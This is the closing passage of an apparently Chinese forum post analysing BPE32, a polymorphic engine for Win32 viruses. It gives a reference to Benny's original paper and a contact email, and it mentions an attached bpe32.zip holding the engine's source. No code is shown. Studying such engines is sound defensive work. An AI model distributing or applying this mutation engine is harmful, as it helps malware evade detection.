   以上就是针对BPE32的多态引擎分析,如有分析不正确的地方还望大家不吝指正,也可通过邮件我们一起交流。       
    附参考文献:
[1] Benny‘s .《Benny's Polymorphic Engine for Win32》
大家感兴趣可以一起讨论,或者mail,附上bpe32源代码。
neineit@gmail.com

上传的附件 bpe32.zip